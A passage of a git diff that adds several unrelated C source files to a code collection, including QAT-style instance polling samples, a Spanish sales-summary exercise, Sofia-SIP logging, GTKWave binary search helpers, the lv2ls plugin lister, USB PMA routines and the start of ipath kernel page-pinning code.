+   }
+
+   sampleThreadExit();
+}
+#endif
+/*
+ * This function checks the instance info. If the instance is
+ * required to be polled then it starts a polling thread.
+ */
+
+#ifdef DO_CRYPTO
+void
+sampleCyStartPolling(CpaInstanceHandle cyInstHandle)
+{
+   CpaInstanceInfo2 info2 = {0};
+   CpaStatus status = CPA_STATUS_SUCCESS;
+
+   status = cpaCyInstanceGetInfo2(cyInstHandle, &info2);
+   if((status == CPA_STATUS_SUCCESS) && (info2.isPolled == CPA_TRUE))
+   {
+      /* Start thread to poll instance */
+      sampleThreadCreate(&gPollingThread, sal_polling, cyInstHandle);
+   }
+
+}
+#endif
+/*
+ * This function stops the polling of a crypto instance. 
+ */
+#ifdef DO_CRYPTO
+void
+sampleCyStopPolling(void)
+{
+
+   gPollingCy = 0;
+}
+#endif
+
+
+/*
+ * This function returns a handle to an instance of the data
+ * compression API.  It does this by querying the API for all
+ * instances and returning the first such instance.
+ */
+//<snippet name="getInstanceDc">
+void
+sampleDcGetInstance(CpaInstanceHandle* pDcInstHandle)
+{
+    CpaInstanceHandle dcInstHandles[MAX_INSTANCES];
+    Cpa16U numInstances = 0;
+    CpaStatus status = CPA_STATUS_SUCCESS;
+
+    *pDcInstHandle = NULL;
+
+    status = cpaDcGetNumInstances(&numInstances);
+    if ((status == CPA_STATUS_SUCCESS) && (numInstances > 0))
+    {
+        status = cpaDcGetInstances(MAX_INSTANCES, dcInstHandles);
+        if (status == CPA_STATUS_SUCCESS)
+        {
+            *pDcInstHandle = dcInstHandles[0];
+        }
+    }
+
+    if (0 == numInstances)
+    {
+        PRINT_ERR("No instances found for 'SSL'\n");
+        PRINT_ERR("Please check your section names in the config file.\n");
+        PRINT_ERR("Also make sure to use config file version 2.\n");
+    }
+
+}
+//</snippet>
+
+/*
+ * This function polls a compression instance.
+ *
+ */
+static void
+sal_dc_polling(CpaInstanceHandle dcInstHandle)
+{
+
+   gPollingDc = 1;
+   while(gPollingDc)
+   {
+       icp_sal_DcPollInstance(dcInstHandle, 0);
+       OS_SLEEP(10);
+   }
+
+   sampleThreadExit();
+}
+
+/*
+ * This function checks the instance info. If the instance is
+ * required to be polled then it starts a polling thread.
+ */
+void
+sampleDcStartPolling(CpaInstanceHandle dcInstHandle)
+{
+   CpaInstanceInfo2 info2 = {0};
+   CpaStatus status = CPA_STATUS_SUCCESS;
+
+   status = cpaDcInstanceGetInfo2(dcInstHandle, &info2);
+   if((status == CPA_STATUS_SUCCESS) && (info2.isPolled == CPA_TRUE))
+   {
+      /* Start thread to poll instance */
+      sampleThreadCreate(&gPollingThreadDc, sal_dc_polling, dcInstHandle);
+   }
+
+}
+
+/*
+ * This function stops the thread polling the compression instance.
+ */
+void
+sampleDcStopPolling(void)
+{
+
+   gPollingDc = 0;
+}
diff --git a/pool/shard001/C/0025349_enB.c b/pool/shard001/C/0025349_enB.c
new file mode 100644
index 0000000000000000000000000000000000000000..6c28c55f1665938e874034b253292382ae80907a
--- /dev/null
+++ b/pool/shard001/C/0025349_enB.c
@@ -0,0 +1,62 @@
+#include <stdio.h>
+#include <string.h>
+
+#define C 10 /* numero de productos */
+
+void leer_precios(float precios[C]) {
+  FILE* fich;
+  int i;
+  fich = fopen("precios.txt","r");
+  for (i=0; i<C; i=i+1) {
+    fscanf(fich,"%f",&precios[i]);
+  }
+  fclose(fich);
+}
+
+void poner_a_cero(float gano[12][2]) {
+  int mes,tarifa;
+  for (mes=0; mes<12; mes=mes+1) {
+    for (tarifa=0; tarifa<2; tarifa=tarifa+1) {
+      gano[mes][tarifa] = 0;
+    }
+  }
+}
+
+void procesar_albaran(float precios[C],float gano[12][2]) {
+  FILE* fich;
+  int codigo,unidades,mes,columna;
+  char tipo[20];
+  fich = fopen("albaran.txt","r");
+  while (fscanf(fich,"%d%d%d%s",&codigo,&unidades,&mes,tipo) == 4) {
+    if (strcmp(tipo,"enA")==0) {
+      columna = 0;
+    } else {
+      columna = 1;
+    }
+    gano[mes-1][columna] = gano[mes-1][columna] + precios[codigo]*unidades;
+  }
+  fclose(fich);  
+}
+
+void mostrar_resultado(float gano[12][2]) {
+  int mes;
+  fprintf(stdout,
+	  "MES |enA    |enB    |total\n"
+	  "----+-------+-------+-------\n");
+  for (mes=0; mes<12; mes=mes+1) {
+    fprintf(stdout,"  %2d|%7.2f|%7.2f|%7.2f\n",
+	    mes+1, gano[mes][0], gano[mes][1],
+	    gano[mes][0]+gano[mes][1]);
+  }
+}
+
+int main() {
+  float precios[C];
+  float gano[12][2]; /* los 12 meses y las 2 modalidades */
+
+  leer_precios(precios);
+  poner_a_cero(gano);
+  procesar_albaran(precios,gano);
+  mostrar_resultado(gano);
+  return 0;
+}
diff --git a/pool/shard001/C/0025350_su_log.c b/pool/shard001/C/0025350_su_log.c
new file mode 100644
index 0000000000000000000000000000000000000000..ad977312bba5101bb09e3672cd6ab6a39bb9f573
--- /dev/null
+++ b/pool/shard001/C/0025350_su_log.c
@@ -0,0 +1,260 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2005 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@ingroup su_log
+ * @CFILE su_log.c
+ *
+ * Implementation of generic logging interface.
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @date Created: Fri Feb 23 17:30:13 2001 ppessi
+ */
+
+#include "config.h"
+
+#include <sofia-sip/su_log.h>
+#include <sofia-sip/su_errno.h>
+
+#include <stdio.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <assert.h>
+
+#if SU_HAVE_PTHREADS
+#include <pthread.h>
+#define SU_LOG_IS_INIT(log) pthread_mutex_trylock((log)->log_init)
+#define SU_LOG_DO_INIT(log)
+#define SU_LOG_LOCK(log)    pthread_mutex_lock((log)->log_lock)
+#define SU_LOG_UNLOCK(log)  pthread_mutex_unlock((log)->log_lock)
+#else
+#define SU_LOG_IS_INIT(log) ((log)->log_init)
+#define SU_LOG_DO_INIT(log) ((log)->log_init = 1)
+#define SU_LOG_LOCK(log)
+#define SU_LOG_UNLOCK(log)
+#endif
+
+/**@defgroup su_log Logging Interface
+ *
+ * Generic logging interface.
+ *
+ * The @b su_log submodule contains a generic logging interface. The
+ * interface provides means for redirecting the log and filtering log
+ * messages based on message priority.
+ *
+ * @sa @ref debug_logs, <sofia-sip/su_log.h>,
+ * su_llog(), su_vllog(), #su_log_t, #SU_DEBUG,
+ * SU_DEBUG_0(), SU_DEBUG_1(), SU_DEBUG_2(), SU_DEBUG_3(), SU_DEBUG_5(),
+ * SU_DEBUG_7(), SU_DEBUG_9()
+ */
+
+/** Log message of socket error @errcode at level 0. */
+void su_perror2(const char *s, int errcode)
+{
+  su_log("%s: %s\n", s, su_strerror(errcode));
+}
+
+/** Log socket error message at level 0. */
+void su_perror(const char *s)
+{
+  su_perror2(s, su_errno());
+}
+
+/** Log a message to default log.
+ *
+ * This function is a replacement for printf().
+ *
+ * Messages are always logged to the default log.
+ */
+void su_log(char const *fmt, ...)
+{
+  va_list ap;
+
+  va_start(ap, fmt);
+  su_vllog(su_log_default, 0, fmt, ap);
+  va_end(ap);
+}
+
+/** Log a message with level.
+ *
+ * @note This function is used mainly by SU_DEBUG_n() macros.
+ */
+void su_llog(su_log_t *log, unsigned level, char const *fmt, ...)
+{
+  va_list ap;
+
+  va_start(ap, fmt);
+  su_vllog(log, level, fmt, ap);
+  va_end(ap);
+}
+
+/** Log a message with level (stdarg version). */
+void su_vllog(su_log_t *log, unsigned level, char const *fmt, va_list ap)
+{
+  su_logger_f *logger;
+  void *stream;
+
+  assert(log);
+
+  if (!log->log_init)
+    su_log_init(log);
+
+  if (log->log_init > 1 ?
+      level > log->log_level :
+      level > su_log_default->log_level)
+    return;
+
+  logger = log->log_logger;
+  stream = log->log_stream;
+
+  if (!logger) {
+    logger = su_log_default->log_logger;
+    stream = su_log_default->log_stream;
+  }
+
+  if (logger)
+    logger(stream, fmt, ap);
+}
+
+static char const not_initialized[1];
+static char const *explicitly_initialized = not_initialized;
+
+/** Initialize a log */
+void su_log_init(su_log_t *log)
+{
+  char *env;
+
+  if (log->log_init)
+    return;
+
+  if (explicitly_initialized == not_initialized)
+    explicitly_initialized = getenv("SHOW_DEBUG_LEVELS");
+
+  if (log != su_log_default && !su_log_default->log_init)
+    su_log_init(su_log_default);
+
+  if (log->log_env && (env = getenv(log->log_env))) {
+    int level = atoi(env);
+
+    /* Why? */
+    /* if (level == 0) level = 1; */
+    log->log_level = level;
+    log->log_init = 2;
+
+    if (explicitly_initialized)
+      su_llog(log, 0, "%s: initialized log to level %u (%s=%s)\n",
+	      log->log_name, log->log_level, log->log_env, env);
+  }
+  else {
+    log->log_level = log->log_default;
+    log->log_init = 1;
+    if (explicitly_initialized) {
+      if (log != su_log_default)
+	su_llog(log, 0, "%s: logging at default level %u\n",
+		log->log_name, su_log_default->log_level);
+      else
+	su_llog(log, 0, "%s: initialized log to level %u (default)\n",
+		log->log_name, log->log_level);
+    }
+  }
+}
+
+/**Redirect a log.
+ *
+ * The function su_log_redirect() redirects the su_log() output to
+ * @a logger function. The @a logger function has following prototype:
+ *
+ * @code
+ * void logger(void *logarg, char const *format, va_list ap);
+ * @endcode
+ *
+ * If @a logger is NULL, the default logger will be used. If @a log is NULL,
+ * the default logger is changed.
+ */
+void su_log_redirect(su_log_t *log, su_logger_f *logger, void *logarg)
+{
+  if (log == NULL)
+    log = su_log_default;
+  /* XXX - locking ? */
+  log->log_logger = logger;
+  log->log_stream = logarg;
+}
+
+/** Set log level.
+ *
+ * The function su_log_set_level() sets the logging level.  The log events
+ * have certain level (0..9); if logging level is lower than the level of
+ * the event, the log message is ignored.
+ *
+ * If @a log is NULL, the default log level is changed.
+ */
+void su_log_set_level(su_log_t *log, unsigned level)
+{
+  if (log == NULL)
+    log = su_log_default;
+
+  log->log_level = level;
+  log->log_init = 2;
+
+  if (explicitly_initialized == not_initialized)
+    explicitly_initialized = getenv("SHOW_DEBUG_LEVELS");
+
+  if (explicitly_initialized)
+    su_llog(log, 0, "%s: set log to level %u\n",
+	    log->log_name, log->log_level);
+}
+
+/** Set log level.
+ *
+ * The function su_log_soft_set_level() sets the logging level if it is not
+ * already set, or the environment variable controlling the log level is not
+ * set.
+ *
+ * The log events have certain level (0..9); if logging level is lower than
+ * the level of the event, the log message is ignored.
+ *
+ * If @a log is NULL, the default log level is changed.
+ */
+void su_log_soft_set_level(su_log_t *log, unsigned level)
+{
+  if (log == NULL)
+    log = su_log_default;
+  if (log->log_init == 1)
+    return;
+
+  if (log->log_env && getenv(log->log_env)) {
+    su_log_init(log);
+  }
+  else {
+    log->log_level = level;
+    log->log_init = 2;
+
+    if (explicitly_initialized == not_initialized)
+      explicitly_initialized = getenv("SHOW_DEBUG_LEVELS");
+
+    if (explicitly_initialized)
+      su_llog(log, 0, "%s: soft set log to level %u\n",
+	      log->log_name, log->log_level);
+  }
+}
diff --git a/pool/shard001/C/0025353_bsearch.c b/pool/shard001/C/0025353_bsearch.c
new file mode 100644
index 0000000000000000000000000000000000000000..7b1588f039edadc11d8639b51b4f8c20e813dff3
--- /dev/null
+++ b/pool/shard001/C/0025353_bsearch.c
@@ -0,0 +1,285 @@
+/*
+ * Copyright (c) Tony Bybell 1999-2011.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ */
+
+#include "globals.h"
+//#include <config.h>
+#include "analyzer.h"
+//#include "currenttime.h"
+#include "symbol.h"
+#include "bsearch.h"
+//#include "strace.h"
+#include "hierpack.h"
+#include <ctype.h>
+
+static int compar_timechain(const void *s1, const void *s2)
+{
+TimeType key, obj, delta;
+TimeType *cpos;
+int rv;
+
+key=*((TimeType *)s1);
+obj=*(cpos=(TimeType *)s2);
+
+if((obj<=key)&&(obj>GLOBALS->max_compare_time_tc_bsearch_c_1))
+	{
+	GLOBALS->max_compare_time_tc_bsearch_c_1=obj;
+	GLOBALS->max_compare_pos_tc_bsearch_c_1=cpos;
+	}
+
+delta=key-obj;
+if(delta<0) rv=-1;
+else if(delta>0) rv=1;
+else rv=0;
+
+return(rv);
+}
+
+// int bsearch_timechain(TimeType key)
+// {
+// GLOBALS->max_compare_time_tc_bsearch_c_1=-2; GLOBALS->max_compare_pos_tc_bsearch_c_1=NULL; 
+// 
+// if(!GLOBALS->strace_ctx->timearray) return(-1);
+// 
+// if(bsearch(&key, GLOBALS->strace_ctx->timearray, GLOBALS->strace_ctx->timearray_size, sizeof(TimeType), compar_timechain))
+//         {
+//         /* nothing, all side effects are in bsearch */
+//         }
+// 
+// if((!GLOBALS->max_compare_pos_tc_bsearch_c_1)||(GLOBALS->max_compare_time_tc_bsearch_c_1<GLOBALS->shift_timebase)) 
+// 	{
+// 	GLOBALS->max_compare_pos_tc_bsearch_c_1=GLOBALS->strace_ctx->timearray; /* aix bsearch fix */
+// 	}
+// 
+// return(GLOBALS->max_compare_pos_tc_bsearch_c_1-GLOBALS->strace_ctx->timearray);
+// }
+
+/*****************************************************************************************/
+
+int bsearch_aetinfo_timechain(TimeType key)
+{
+GLOBALS->max_compare_time_tc_bsearch_c_1=-2; GLOBALS->max_compare_pos_tc_bsearch_c_1=NULL; 
+
+if(!GLOBALS->ae2_time_xlate) return(-1);
+
+if(bsearch(&key, GLOBALS->ae2_time_xlate, GLOBALS->ae2_end_cyc - GLOBALS->ae2_start_cyc + 1, sizeof(TimeType), compar_timechain))
+        {
+        /* nothing, all side effects are in bsearch */
+        }
+
+if(!GLOBALS->max_compare_pos_tc_bsearch_c_1)
+	{
+	GLOBALS->max_compare_pos_tc_bsearch_c_1=GLOBALS->ae2_time_xlate; /* aix bsearch fix */
+	}
+
+return(GLOBALS->max_compare_pos_tc_bsearch_c_1-GLOBALS->ae2_time_xlate);
+}
+
+/*****************************************************************************************/
+
+static int compar_histent(const void *s1, const void *s2)
+{
+TimeType key, obj, delta;
+hptr cpos;
+int rv;
+
+key=*((TimeType *)s1);
+obj=(cpos=(*((hptr *)s2)))->time;
+
+if((obj<=key)&&(obj>GLOBALS->max_compare_time_bsearch_c_1))
+	{
+	GLOBALS->max_compare_time_bsearch_c_1=obj;
+	GLOBALS->max_compare_pos_bsearch_c_1=cpos;
+	GLOBALS->max_compare_index=(hptr *)s2;
+	}
+
+delta=key-obj;
+if(delta<0) rv=-1;
+else if(delta>0) rv=1;
+else rv=0;
+
+return(rv);
+}
+
+hptr bsearch_node(nptr n, TimeType key)
+{
+GLOBALS->max_compare_time_bsearch_c_1=-2; GLOBALS->max_compare_pos_bsearch_c_1=NULL; GLOBALS->max_compare_index=NULL;
+
+if(bsearch(&key, n->harray, n->numhist, sizeof(hptr), compar_histent))
+        {
+        /* nothing, all side effects are in bsearch */
+        }
+
+if((!GLOBALS->max_compare_pos_bsearch_c_1)||(GLOBALS->max_compare_time_bsearch_c_1<LLDescriptor(0))) 
+	{
+	GLOBALS->max_compare_pos_bsearch_c_1=n->harray[1]; /* aix bsearch fix */
+	GLOBALS->max_compare_index=&(n->harray[1]); 
+	}
+
+return(GLOBALS->max_compare_pos_bsearch_c_1);
+}
+
+/*****************************************************************************************/
+
+
+static int compar_vectorent(const void *s1, const void *s2)
+{
+TimeType key, obj, delta;
+vptr cpos;
+int rv;
+
+key=*((TimeType *)s1);
+/* obj=(cpos=(*((vptr *)s2)))->time+GLOBALS->shift_timebase; */
+
+obj=(cpos=(*((vptr *)s2)))->time;
+
+if((obj<=key)&&(obj>GLOBALS->vmax_compare_time_bsearch_c_1))
+	{
+	GLOBALS->vmax_compare_time_bsearch_c_1=obj;
+	GLOBALS->vmax_compare_pos_bsearch_c_1=cpos;
+        GLOBALS->vmax_compare_index=(vptr *)s2;
+	}
+
+delta=key-obj;
+if(delta<0) rv=-1;
+else if(delta>0) rv=1;
+else rv=0;
+
+return(rv);
+}
+
+vptr bsearch_vector(bvptr b, TimeType key)
+{
+GLOBALS->vmax_compare_time_bsearch_c_1=-2; GLOBALS->vmax_compare_pos_bsearch_c_1=NULL; GLOBALS->vmax_compare_index=NULL;
+
+if(bsearch(&key, b->vectors, b->numregions, sizeof(vptr), compar_vectorent))
+        {
+        /* nothing, all side effects are in bsearch */
+        }
+
+if((!GLOBALS->vmax_compare_pos_bsearch_c_1)||(GLOBALS->vmax_compare_time_bsearch_c_1<LLDescriptor(0))) 
+	{
+	/* ignore warning: array index of '1' indexes past the end of an array (that contains 1 elements) [-Warray-bounds] */
+	/* because this array is allocated with size > that declared in the structure definition via end of structure malloc padding */
+	GLOBALS->vmax_compare_pos_bsearch_c_1=b->vectors[1]; /* aix bsearch fix */
+	GLOBALS->vmax_compare_index=&(b->vectors[1]);
+	}
+
+return(GLOBALS->vmax_compare_pos_bsearch_c_1);
+}
+
+/*****************************************************************************************/
+
+
+// static int compar_trunc(const void *s1, const void *s2)
+// {
+// char *str;
+// char vcache[2];
+// int key, obj;
+// 
+// str=(char *)s2;
+// key=*((int*)s1);
+// 
+// vcache[0]=*str;
+// vcache[1]=*(str+1);
+// *str='+';
+// *(str+1)=0;
+// obj=font_engine_string_measure(GLOBALS->wavefont,GLOBALS->trunc_asciibase_bsearch_c_1);
+// *str=vcache[0];
+// *(str+1)=vcache[1];
+// 
+// if((obj<=key)&&(obj>GLOBALS->maxlen_trunc))
+//         {
+//         GLOBALS->maxlen_trunc=obj;
+//         GLOBALS->maxlen_trunc_pos_bsearch_c_1=str;
+//         }
+// 
+// return(key-obj);
+// }
+
+
+// char *bsearch_trunc(char *ascii, int maxlen)
+// {
+// int len;
+// 
+// if((maxlen<=0)||(!ascii)||(!(len=strlen(ascii)))) return(NULL);
+// 
+// GLOBALS->maxlen_trunc=0; GLOBALS->maxlen_trunc_pos_bsearch_c_1=NULL;
+// 
+// if(bsearch(&maxlen, GLOBALS->trunc_asciibase_bsearch_c_1=ascii, len, sizeof(char), compar_trunc))
+//         {
+//         /* nothing, all side effects are in bsearch */
+//         }
+// 
+// return(GLOBALS->maxlen_trunc_pos_bsearch_c_1);
+// }
+
+/*****************************************************************************************/
+
+static int compar_facs(const void *key, const void *v2)
+{
+struct symbol *s2;
+int rc;
+int was_packed = HIER_DEPACK_STATIC;
+char *s3;
+
+s2=*((struct symbol **)v2);
+s3 = hier_decompress_flagged(s2->name, &was_packed);
+rc=sigcmp((char *)key,s3);
+
+/* if(was_packed) free_2(s3); ...not needed with HIER_DEPACK_STATIC */
+
+return(rc);
+}
+
+struct symbol *bsearch_facs(char *ascii, unsigned int *rows_return)
+{
+struct symbol **rc;
+int len;
+
+if ((!ascii)||(!(len=strlen(ascii)))) return(NULL);
+if(rows_return)
+	{
+	*rows_return = 0;
+	}
+
+if(ascii[len-1]=='}')
+	{
+	int i;
+
+	for(i=len-2;i>=2;i--)
+		{	
+		if(isdigit((int)(unsigned char)ascii[i])) continue;
+		if(ascii[i]=='{')
+			{
+			char *tsc = wave_alloca(i+1);
+			memcpy(tsc, ascii, i+1);
+			tsc[i] = 0;
+			rc=(struct symbol **)bsearch(tsc, GLOBALS->facs, GLOBALS->numfacs, sizeof(struct symbol *), compar_facs);
+			if(rc) 
+				{
+				unsigned int whichrow = atoi(&ascii[i+1]);
+				if(rows_return) *rows_return = whichrow;
+
+#ifdef WAVE_ARRAY_SUPPORT
+				if(whichrow <= (*rc)->n->array_height) 
+#endif
+					{	
+					return(*rc);
+					}
+				}
+			}
+		break;	/* fallthrough to normal handler */
+		}
+	
+	}
+
+rc=(struct symbol **)bsearch(ascii, GLOBALS->facs, GLOBALS->numfacs, sizeof(struct symbol *), compar_facs);
+if(rc) return(*rc); else return(NULL);
+}
+
diff --git a/pool/shard001/C/0025360_lv2ls.c b/pool/shard001/C/0025360_lv2ls.c
new file mode 100644
index 0000000000000000000000000000000000000000..6f898d5f99276e09b154c0c81d55e5d0f7760177
--- /dev/null
+++ b/pool/shard001/C/0025360_lv2ls.c
@@ -0,0 +1,93 @@
+/*
+  Copyright 2007-2011 David Robillard <http://drobilla.net>
+
+  Permission to use, copy, modify, and/or distribute this software for any
+  purpose with or without fee is hereby granted, provided that the above
+  copyright notice and this permission notice appear in all copies.
+
+  THIS SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+*/
+
+#include <stdio.h>
+#include <string.h>
+
+#include "lilv/lilv.h"
+
+#include "lilv_config.h"
+
+static void
+list_plugins(const LilvPlugins* list, bool show_names)
+{
+	LILV_FOREACH(plugins, i, list) {
+		const LilvPlugin* p = lilv_plugins_get(list, i);
+		if (show_names) {
+			LilvNode* n = lilv_plugin_get_name(p);
+			printf("%s\n", lilv_node_as_string(n));
+			lilv_node_free(n);
+		} else {
+			printf("%s\n", lilv_node_as_uri(lilv_plugin_get_uri(p)));
+		}
+	}
+}
+
+static void
+print_version(void)
+{
+	printf(
+		"lv2ls (lilv) " LILV_VERSION "\n"
+		"Copyright 2007-2011 David Robillard <http://drobilla.net>\n"
+		"License: <http://www.opensource.org/licenses/isc-license>\n"
+		"This is free software: you are free to change and redistribute it.\n"
+		"There is NO WARRANTY, to the extent permitted by law.\n");
+}
+
+static void
+print_usage(void)
+{
+	printf("Usage: lv2ls [OPTION]...\n");
+	printf("List all installed LV2 plugins.\n");
+	printf("\n");
+	printf("  -n, --names    Show names instead of URIs\n");
+	printf("  --help         Display this help and exit\n");
+	printf("  --version      Display version information and exit\n");
+	printf("\n");
+	printf("The environment variable LV2_PATH can be used to control where\n");
+	printf("this (and all other lilv based LV2 hosts) will search for plugins.\n");
+}
+
+int
+main(int argc, char** argv)
+{
+	bool show_names = false;
+	for (int i = 1; i < argc; ++i) {
+		if (!strcmp(argv[i], "--names") || !strcmp(argv[i], "-n")) {
+			show_names = true;
+		} else if (!strcmp(argv[i], "--version")) {
+			print_version();
+			return 0;
+		} else if (!strcmp(argv[i], "--help")) {
+			print_usage();
+			return 0;
+		} else {
+			print_usage();
+			return 1;
+		}
+	}
+
+	LilvWorld* world = lilv_world_new();
+	lilv_world_load_all(world);
+
+	const LilvPlugins* plugins = lilv_world_get_all_plugins(world);
+
+	list_plugins(plugins, show_names);
+
+	lilv_world_free(world);
+
+	return 0;
+}
diff --git a/pool/shard001/C/0025366_usb_reg_map.c b/pool/shard001/C/0025366_usb_reg_map.c
new file mode 100644
index 0000000000000000000000000000000000000000..ea60cb3c297727101062a788759edb0e69bdd267
--- /dev/null
+++ b/pool/shard001/C/0025366_usb_reg_map.c
@@ -0,0 +1,88 @@
+/******************************************************************************
+ * The MIT License
+ *
+ * Copyright (c) 2011 LeafLabs, LLC.
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use, copy,
+ * modify, merge, publish, distribute, sublicense, and/or sell copies
+ * of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+ * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ *****************************************************************************/
+
+#include "usb_reg_map.h"
+
+/* TODO these could use some improvement; they're fairly
+ * straightforward ports of the analogous ST code.  The PMA blit
+ * routines in particular are obvious targets for performance
+ * measurement and tuning. */
+
+void usb_copy_to_pma(const uint8 *buf, uint16 len, uint16 pma_offset) {
+    uint16 *dst = (uint16*)usb_pma_ptr(pma_offset);
+    uint16 n = len >> 1;
+    uint16 i;
+    for (i = 0; i < n; i++) {
+        *dst = (uint16)(*buf) | *(buf + 1) << 8;
+        buf += 2;
+        dst += 2;
+    }
+    if (len & 1) {
+        *dst = *buf;
+    }
+}
+
+void usb_copy_from_pma(uint8 *buf, uint16 len, uint16 pma_offset) {
+    uint32 *src = (uint32*)usb_pma_ptr(pma_offset);
+    uint16 *dst = (uint16*)buf;
+    uint16 n = len >> 1;
+    uint16 i;
+    for (i = 0; i < n; i++) {
+        *dst++ = *src++;
+    }
+    if (len & 1) {
+        *dst = *src & 0xFF;
+    }
+}
+
+static void usb_set_ep_rx_count_common(uint32 *rxc, uint16 count) {
+    uint16 nblocks;
+    if (count > 62) {
+        /* use 32-byte memory block size */
+        nblocks = count >> 5;
+        if ((count & 0x1F) == 0) {
+            nblocks--;
+        }
+        *rxc = (nblocks << 10) | 0x8000;
+    } else {
+        /* use 2-byte memory block size */
+        nblocks = count >> 1;
+        if ((count & 0x1) != 0) {
+            nblocks++;
+        }
+        *rxc = nblocks << 10;
+    }
+}
+
+void usb_set_ep_rx_buf0_count(uint8 ep, uint16 count) {
+    uint32 *rxc = usb_ep_rx_buf0_count_ptr(ep);
+    usb_set_ep_rx_count_common(rxc, count);
+}
+
+void usb_set_ep_rx_count(uint8 ep, uint16 count) {
+    uint32 *rxc = usb_ep_rx_count_ptr(ep);
+    usb_set_ep_rx_count_common(rxc, count);
+}
diff --git a/pool/shard001/C/0025368_ipath_user_pages.c b/pool/shard001/C/0025368_ipath_user_pages.c
new file mode 100644
index 0000000000000000000000000000000000000000..413754b1d8a254d6fb26111dfe743a74d13ddcfc
--- /dev/null
+++ b/pool/shard001/C/0025368_ipath_user_pages.c
@@ -0,0 +1,253 @@
+/*
+ * Copyright (c) 2006 QLogic, Inc. All rights reserved.
+ * Copyright (c) 2003, 2004, 2005, 2006 PathScale, Inc. All rights reserved.
+ *
+ * This software is available to you under a choice of one of two
+ * licenses.  You may choose to be licensed under the terms of the GNU
+ * General Public License (GPL) Version 2, available from the file
+ * COPYING in the main directory of this source tree, or the
+ * OpenIB.org BSD license below:
+ *
+ *     Redistribution and use in source and binary forms, with or
+ *     without modification, are permitted provided that the following
+ *     conditions are met:
+ *
+ *      - Redistributions of source code must retain the above
+ *        copyright notice, this list of conditions and the following
+ *        disclaimer.
+ *
+ *      - Redistributions in binary form must reproduce the above
+ *        copyright notice, this list of conditions and the following
+ *        disclaimer in the documentation and/or other materials
+ *        provided with the distribution.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+ * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+#include <linux/mm.h>
+#include <linux/device.h>
+
+#include "ipath_kernel.h"
+
+static void __ipath_release_user_pages(struct page **p, size_t num_pages,
+				   int dirty)
+{
+	size_t i;
+
+	for (i = 0; i < num_pages; i++) {
+		ipath_cdbg(MM, "%lu/%lu put_page %p\n", (unsigned long) i,
+			   (unsigned long) num_pages, p[i]);
+		if (dirty)
+			set_page_dirty_lock(p[i]);
+		put_page(p[i]);
+	}
+}
+
+/* call with current->mm->mmap_sem held */
+static int __get_user_pages(unsigned long start_page, size_t num_pages,
+			struct page **p, struct vm_area_struct **vma)
+{
+	unsigned long lock_limit;
+	size_t got;
+	int ret;
+
+	lock_limit = current->signal->rlim[RLIMIT_MEMLOCK].rlim_cur >>
+		PAGE_SHIFT;
+
+	if (num_pages > lock_limit) {
+		ret = -ENOMEM;
+		goto bail;
+	}
+
+	ipath_cdbg(VERBOSE, "pin %lx pages from vaddr %lx\n",
+		   (unsigned long) num_pages, start_page);
+
+	for (got = 0; got < num_pages; got += ret) {
+		ret = get_user_pages(current, current->mm,
+				     start_page + got * PAGE_SIZE,
+				     num_pages - got, 1, 1,
+				     p + got, vma);
+		if (ret < 0)
+			goto bail_release;
+	}
+
